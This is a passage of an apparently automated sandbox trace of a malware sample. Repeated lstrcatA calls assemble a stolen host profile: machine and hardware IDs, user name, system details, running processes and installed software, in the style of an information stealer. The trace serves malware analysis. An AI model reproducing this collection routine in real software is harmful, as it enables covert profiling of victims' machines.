[16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 ["
[0054.966] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001"
[0054.966] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001", lpString2="]" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe 